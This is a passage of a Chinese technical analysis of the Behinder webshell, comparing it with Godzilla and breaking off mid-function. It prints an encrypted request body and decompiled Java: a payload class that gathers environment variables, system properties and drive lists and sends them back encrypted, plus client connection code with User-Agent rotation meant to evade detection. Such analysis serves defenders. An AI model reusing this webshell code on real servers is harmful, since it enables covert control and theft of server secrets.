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
对请求体按照上述的base64、AES解密进行操作,得到的类为BasicInfo,包含equals、Encrypt、buildJson、fillContext方法。后三个和Echo中的方法一样,equals则变成了输出环境变量、JRE属性相关内容到“基本信息”页面。
public class BasicInfo {
public static String whatever;
private ServletRequest Request;
private ServletResponse Response;
private HttpSession Session;
public BasicInfo() {
}
public boolean equals(Object obj) {
String result = "";
try {
this.fillContext(obj);
StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
Map<String, String> env = System.getenv();
Iterator var5 = env.keySet().iterator();
while(var5.hasNext()) {
String name = (String)var5.next();
basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
}
basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
Properties props = System.getProperties();
Set<Entry<Object, Object>> entrySet = props.entrySet();
Iterator var7 = entrySet.iterator();
while(var7.hasNext()) {
Entry<Object, Object> entry = (Entry)var7.next();
basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
}
String currentPath = (new File("")).getAbsolutePath();
String driveList = "";
File[] roots = File.listRoots();
File[] var10 = roots;
int var11 = roots.length;
for(int var12 = 0; var12 < var11; ++var12) {
File f = var10[var12];
driveList = driveList + f.getPath() + ";";
}
String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
Map<String, String> entity = new HashMap();
entity.put("basicInfo", basicInfo.toString());
entity.put("currentPath", currentPath);
entity.put("driveList", driveList);
entity.put("osInfo", osInfo);
entity.put("arch", System.getProperty("os.arch"));
result = this.buildJson(entity, true);
String key = this.Session.getAttribute("u").toString();
ServletOutputStream so = this.Response.getOutputStream();
so.write(Encrypt(result.getBytes(), key));
so.flush();
so.close();
} catch (Exception var14) {
}
return true;
} ...
}
这两次发包体现了冰蝎和哥斯拉一些设计上的区别,哥斯拉在第一次发包的时候将整个恶意类传递过去,然后之后的发包都是传递参数来调用类中的代码。冰蝎则是每次将要调用的类POST过去,核心调用方法都写到equals中。
连接过程的具体代码
初始化
core文件夹下的ShellService类,是连接过程的具体代码,在ShellService类实例化时,会初始化加密方式AES、获取url、type、password,并且添加HTTP请求头
private void initHeaders() {
this.currentHeaders.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
this.currentHeaders.put("Accept-Language", "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7");
if (this.currentType.equals("php")) {
this.currentHeaders.put("Content-type", "application/x-www-form-urlencoded");
} else if (this.currentType.equals("aspx")) {
this.currentHeaders.put("Content-type", "application/octet-stream");
}
this.currentHeaders.put("User-Agent", this.getCurrentUserAgent());
if (((String)this.currentHeaders.get("User-Agent")).toLowerCase().indexOf("firefox") >= 0) {
this.currentHeaders.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
this.currentHeaders.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
}
this.currentHeaders.put("Cache-Control", "max-age=0");
this.currentHeaders.put("Referer", this.getReferer());
}
getCurrentUserAgent随机获取一个Agent,之前对于2.0版本,有些防护是通过User-Agent的版本来检测的,因为当时User-Agent内置的版本比较老,如Chrome/14.0.835.163、Firefox/6.0都是2011年发布的版本。但是在冰蝎最新版中已经将User-Agent进行了更新。
public static String[] userAgents = new String[]{
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPad; CPU OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPod; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Mobile Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/84.0.4147.122 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)", "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"};
doConnect
doConnect是连接的核心代码。getKey
方法根据传入的password
生成md5并取前16位作为Key。如果传入的是jsp,会直接执行到this.echo(content);
。catch部分则是兼容了2.X版本,
public boolean doConnect() throws Exception {
boolean result = false;
this.currentKey = Utils.getKey(this.currentPassword);
String content;
try {
int randStringLength;
String content;
JSONObject obj;
if (this.currentType.equals("php")) {
...
} else {
try {
if (this.currentType.equals("asp")) {
this.encryptType = Constants.ENCRYPT_TYPE_XOR;
}
randStringLength = (new SecureRandom()).nextInt(3000);
content = Utils.getRandomString(randStringLength);
// 调用echo
obj = this.echo(content);
if (obj.getString("msg").equals(content)) {
result = true;
}
} catch (Exception var9) {
throw var9;
}
}
} catch (Exception var12) {
Map<String, String> keyAndCookie = Utils.getKeyAndCookie(this.currentUrl, this.currentPassword, this.currentHeaders);
content = (String)keyAndCookie.get("cookie");
if ((content == null || content.equals("")) && !this.currentHeaders.containsKey("cookie")) {
String urlWithSession = (String)keyAndCookie.get("urlWithSession");
